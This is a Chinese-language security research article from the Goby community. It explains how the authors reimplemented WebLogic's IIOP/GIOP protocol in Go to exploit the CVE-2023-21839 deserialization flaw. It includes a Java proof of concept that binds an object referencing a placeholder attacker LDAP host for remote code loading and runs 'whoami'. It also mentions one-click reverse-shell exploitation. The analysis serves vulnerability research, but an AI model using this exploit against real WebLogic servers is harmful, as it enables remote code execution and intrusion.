0x01 概述
Weblogic 的序列化漏洞主要依赖于 T3 和 IIOP 协议,这两种协议在通信交互的过程中存在如跨语言、网络传输等方面的诸多问题,会给漏洞的检测和利用带来许多不便。在白帽汇安全研究院的理念中,漏洞检测和利用是一项需要创造性的工作,应该以最简洁,高效的方式实现,这样才能确保漏洞的跨平台和实用性。因此,我们通过跨语言方式实现 IIOP 协议通信,以解决出现的序列化漏洞问题。
在 Goby 中的 CVE-2023-21839 漏洞中,我们成功的实现了IIOP 协议跨语言通信的方案,完美实现了漏洞的检测与漏洞利用效果:
0x02 Weblogic IIOP
GIOP 是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。简单来说,GIOP 就是一个抽象的协议标准,定义了通信模式和协议规范等信息,并不是具体实现的协议。
IIOP 是一种实现了 GIOP协议的 TCP/IP 协议栈,它使得CORBA对象能够通过Internet进行分布式通信和交互。简单来说,IIOP协议是在TCP/IP层面上实现的GIOP协议。
RMI-IIOP 是一种Java远程方法调用协议的实现方式,它在 IIOP 协议之上扩展了Java RMI 协议,使得 Java 对象可以通过 IIOP 协议进行分布式通信和交互。简单来说, RMI-IIOP 协议就是在 IIOP 协议的基础上集合了 RMI 的远程调用 Java 对象的功能。(在本文中的 Weblogic 部分会将 RMI-IIOP 作为 IIOP 协议来看待)
在文章《 Weblogic IIOP 协议NAT 网络绕过》中提到 “T3 协议本质上 RMI 中传输数据使用的协议, RMI-IIOP 是可以兼容 RMI 和 IIOP 的,所以在 Weblogic 中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化”。对于启用了 IIOP 和 T3 的 Weblogic 而言,序列化数据协议传输的过程中是没有本质上区别的,同时在 Weblogic 通信过程中可能会出现 NET 网络问题。因此,为了解决 Java 序列化跨语言问题以及 IIOP 的网络问题,我选择了 IIOP 协议作为此次 Weblogic 序列化协议研究的重点。
0x03 IIOP 攻击流程
以 CVE-2023-21839 Weblogic 序列化漏洞为例,在 Weblogic 的 IIOP 攻击流程中,攻击端首先初始化上下文信息,使用rebind()
方法向注册端绑定恶意对象,再通过 lookup()
方法触发漏洞远程加载恶意地址中的存根对象。在加载的过程中,自定义的恶意对象执行自绑定的操作,将一个具有回显的对象绑定到 Weblogic 注册端上,之后远程调用该对象中的方法,达到攻击回显的目的。
POC 如下:
public class main {
public static void main(String[] args) throws NamingException, RemoteException {
ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);
String iiop_addr = "iiop://10.211.55.4:7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", iiop_addr);
Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest LocateReply
String bind_name = String.valueOf(System.currentTimeMillis());
context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 rebind_any
context.lookup(bind_name); // 获取远程对象 resove_any
ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup(bind_name);
System.out.println(clusterMasterRemote.getServerLocation("whoami"));
}
}
3.1 Java 中的攻击流程
1、在 Weblogic 的 IIOP 序列化交互开始时,客户端初始化上下文信息 new InitialContext()
,通过 locateNameService()
方法将目标地址、序列化对象等信息封装到IIOP协议的请求包中作为 LocateRequest
消息与Weblogic服务端建立通信。
2、当客户端收到服务端的LocateReply
消息后表示通信交互已建立,客户端会解析响应消息体中的信息,并将其中的相关信息(如 Key Address ,内部类地址、上下文等信息)解析作为下次请求的消息体验证信息。
3、通信建立后, IIOP 会将建立交互时服务端响应包中的 Key Address
作为下次请求中的 Key Address
,执行 bind()
或 rebind()
方法时,绑定对象名称、对象的序列化数据等信息会封装到请求消息体中的 Stub data
字段中作为消息传输。
4、 IIOP 协议执行lookup()
方法时,首先通过创建的上下文对象调用其中的lookup()
方法,lookup()
方法根据上下文中是否为NamingContextAny
类型来决定调用的lookup()
方法,由于上下文对象属于NamingContextAny
类型,因此通过Utils.stringToWNameComponent(var1) 方
法将字符串 var1 转换成 WNameComponent(Wide Name Component)
数组,并将其传递给 this.lookup()
方法,最后通过调用resolve_any()
方法将消息封装成序列化字节流发送给服务端。
0x04 IIOP 跨语言实现
在《 IIOP 攻击流程》章节的交互部分中,当 weblogic 在内网环境下,客户端会将 LocateReply
中返回的 weblogic 内部类的内网地址作为下次发包的目标地址,因此会出现客户端向自己的内部地址发包,出现网络通信中断问题。同时,由于 Go 语言中并没有官方的 IIOP 协议库可用,我们在 Goby 安全工具上实现漏洞攻击是比较困难的。如果外挂 java 程序的话会使Goby越来越臃肿,这并不符合白帽汇安全研究院的漏洞价值观。我们认为漏洞是一门艺术,漏洞检测和利用的方式应该以最优雅的形式出现。针对上面的问题,我们索性直接复刻 IIOP 协议作为最终的通用解决方案。
4.1 实现思路
协议通信的本质是字节流的形式在网络中传输数据。因此, Go 实现 IIOP 协议的方式就是模拟 IIOP 通信的字节流。
对于上文中的攻击流程,我们将攻击过程中 IIOP 协议通信分为建立交互、绑定远程对象、获取远程对象,执行对象方法四个部分。对应在 Java 主要通过一下方法完成:
Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息
context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 Request消息 rebind_any方法
context.lookup(bind_name); // 绑定远程对象 Request消息 lookup方法
context.lookup(bind_name).getServerLocation("whoami"); // 执行远程对象中的方法
我们在 IIOP 协议模拟实现时仅需要实现上述方法在执行过程中协议交互的字节流即可。
4.2 GIOP 协议规范
GIOP(General Inter-ORB Protocol)是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。
GIOP 消息由消息头和消息体两部分组成。
在 GIOP 消息头中包括了 Magic (GIOP标识)、Version(GIOP版本)、Message Flags(标志位)、Message type(消息类型)、Message size(消息体长度)四个字段;
在GIOP消息体中,主要包含了Request id(请求标识)、TargetAddress(请求目标对象键 ID )、Key Address(Key 地址)、Reqest operation(操作方法)、SerivceContext(服务上下文信息)等字段。
由于篇幅有限,这里并不过多叙述 GIOP 字段的含义,如想深入研究协议内容,请参考我们总结的手册《GIOP-Protocol-Analysis》。
4.2.1 GIOP 协议通信流程
1、在通信的初始阶段,首先客户端向服务端发送 LocateRequest
类型的消息与服务端建立通信,服务端验证请求信息并响应LocateReply
类型的消息表示收到了客户端的请求信息,开始与客户端进行交互通信。
2、通信建立完成后,客户端发送一个 Request
类型的消息来执行服务端中的方法,Request
消息的请求体中包含了key地址(Key Address
)、执行方法名称(Request operation
)、消息上下文(Service Context
)和调用远程对象信息(Stub data
)等内容。
3、服务端接收并正常解析请求报文后,回应一个 Reply
类型的 No Exception
消息。如果请求报文在服务端中解析出错/异常,则回应一个 Reply
类型的User Exception
/ System Exception
消息,同时响应体中会附带异常ID(Exception id
)信息。
4.3 初始化上下文
Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息
在 Java 代码中,初始化上下文信息在创建对象的过程中建立IIOP协议的交互流程。因此,在 Go 语言中实现new InitialContext(env)
创建对象时生成的字节流并发送给Weblogic即可。new InitialContext(env)
对象的创建过程在IIOP协议具体实现中为LocateRequest
消息。
客户端发送的 LocateRequest
消息是一个固定的格式。其中包含了 GIOP 协议标识,协议版本,消息类型、消息标识等信息。
由于 LocateRequest
是一个固定格式的序列,所以可以直接将该序列发送给服务端,开始建立交互连接。
服务端在收到 LocateRequest
消息并验证正确后,会向客户端响应一个 LocateReply
消息。 响应的 LocateReply
消息包含了有关服务器的上下文信息、key地址、长度等信息。
在交互建立完成后,下次请求通信过程中会用到响应体中的 key 地址,需要将key地址解析出来,以便于下次请求包中使用。因此,需要先将Key Address length
的长度提取出来,再根据 Key 的长度计算出Key Address
,并将 key 地址存储起来,以便下次请求使用。同时,因为我们下次发包的目标地址是自主可控的,这就从根源上避免了上面出现的NET网络问题。这样,通信就已经正常建立了。
在通信建立之后,为了验证服务端返回的 Key Address
的有效性,我们向服务端发送了一个方法名为 _non_existent
的 Request
请求消息。如果服务端返回的状态为 No Exception
,则说明该 Key Addresss
是有效的。
4.4 绑定远程对象
context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 Request消息 rebind_any方法
在 Java 语言中,使用 rebind()
方法可以将一个对象绑定到 Weblogic 注册中心上。在 Go 语言中,我们可以实现 context.rebind()
方法的字节流,将要绑定的名称和序列化对象添加到字节流中,然后发送给 Weblogic。
在 IIOP 协议的具体实现中,rebind()
方法的操作方法名为 rebind_any
。
通过 rebind_any
方法,将 Stub data
中的绑定名称以及序列化对象等数据发送给服务端,服务端执行重绑定操作,将对象绑定到Weblogic Register上。
Go 模拟 rebind_any
方法的核心将生成的 payload 字节流增加到请求体的尾部 Stub data
部分。
4.5 获取远程对象
context.lookup(bind_name); // 绑定远程对象 Request消息 lookup方法
在 Java 代码中,通过上下文对象中的 lookup()
方法可以获取 Weblogic 中绑定名称的存根对象。同样,在 Go 语言中,我们可以实现 context.rebind()
方法的字节流,并将要绑定的名称添加到该字节流中,然后将其发送给 Weblogic。
在 IIOP 协议的具体实现中,lookup()
方法的操作方法名为 resolve_any
。
resolve_any
方法通过发送注册命名信息获取注册中心上的存根对象。这里的 Go 字节码实现和上面的相似,都是将信息放到 Stub data
中发送给服务端,只不过这里存放的是存根的命名信息。
resolve_any
的响应消息会生成一个新的 Key Address
,该key包含获取远程对象的引用地址等信息,在执行这个对象中的方法时,要将新请求消息中的 Key Address
替换成该信息。这样就可以正常执行该对象中的方法了。
4.6 执行对象方法
context.lookup(bind_name).getServerLocation("whoami"); // 获取远程对象,执行对象中的getServerLocation方法进行回显
执行 lookup
方法后,我们获取到了远程对象的存根信息,这时就可以调用对象中的方法来实现远程方法调用的目的。
例如,我们在 CVE-2023-21839 漏洞上绑定了回显类并有名为 getServerLocation()
的回显方法。在 Go 语言中,我们只需要按照 GIOP 字节流的格式实现字节流,并将字段 Request operation
的值设置为我们要执行的方法名,Operation length
设置为方法名的长度,Stub data
中设置为执行方法的字节流,最后封装成 GIOP 字节流发送给 Weblogic 即可。具体的的漏洞回显效果,正如下图所示:
0x05 总结
在白帽汇安全研究院,漏洞检测和利用是一项创造性的工作,我们致力于以最简洁,高效的方式来实现。为了在 Goby 中实现 Weblogic 序列化漏洞的最佳效果和利用方式,我们花费大量精力阅读 IIOP 序列化源码、分析协议流量、调试协议中的字段和字节码。最终,我们成功在 Go 语言中实现了 IIOP 协议漏洞利用框架。为了验证框架的可靠性,我们以 Weblogic 反序列化漏洞(CVE-2023-21839)为例,在 Goby 上实现了完美的漏洞攻击效果,并加入了一键回显、一键反弹 shell 的利用方式。
本文中演示的漏洞与功能将于 4 月 18 号(下周二)在Goby上线,届时请关注 Goby 版本更新通知或微信社群公告。
Goby社区版免费下载体验:https://gobysec.net/
0x06 参考
ChatGPT (openai.com)
Java CORBA (seebug.org)
RMI-IIOP Programmer’s Guide (oracle.com)
Tutorial: Getting Started Using RMI-IIOP (oracle.com)
Configuring WebLogic Server for RMI-IIOP (oracle.com)
Servers: Protocols: IIOP (oracle.com)
Weblogic IIOP 协议NAT 网络绕过 | R4v3zn’s Blog(r4v3zn.com)
漫谈 WebLogic CVE-2020-2551 | R4v3zn’s Blog(r4v3zn.com)
Weblogic CVE-2020-2551 绕过NAT网络分析 - 先知社区 (aliyun.com)
【协议森林】详解大端(big endian)与小端(little endian)_协议森林的博客(csdn.net)
基于RapidIO的GIOP协议——RIO-IOP - 中国知网 (cnki.net)
Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。
也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~
文章来自Goby社区成员:14m3ta7k@白帽汇安全研究院,转载请注明出处。
- 微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动
- 获取版本:https://gobysec.net/sale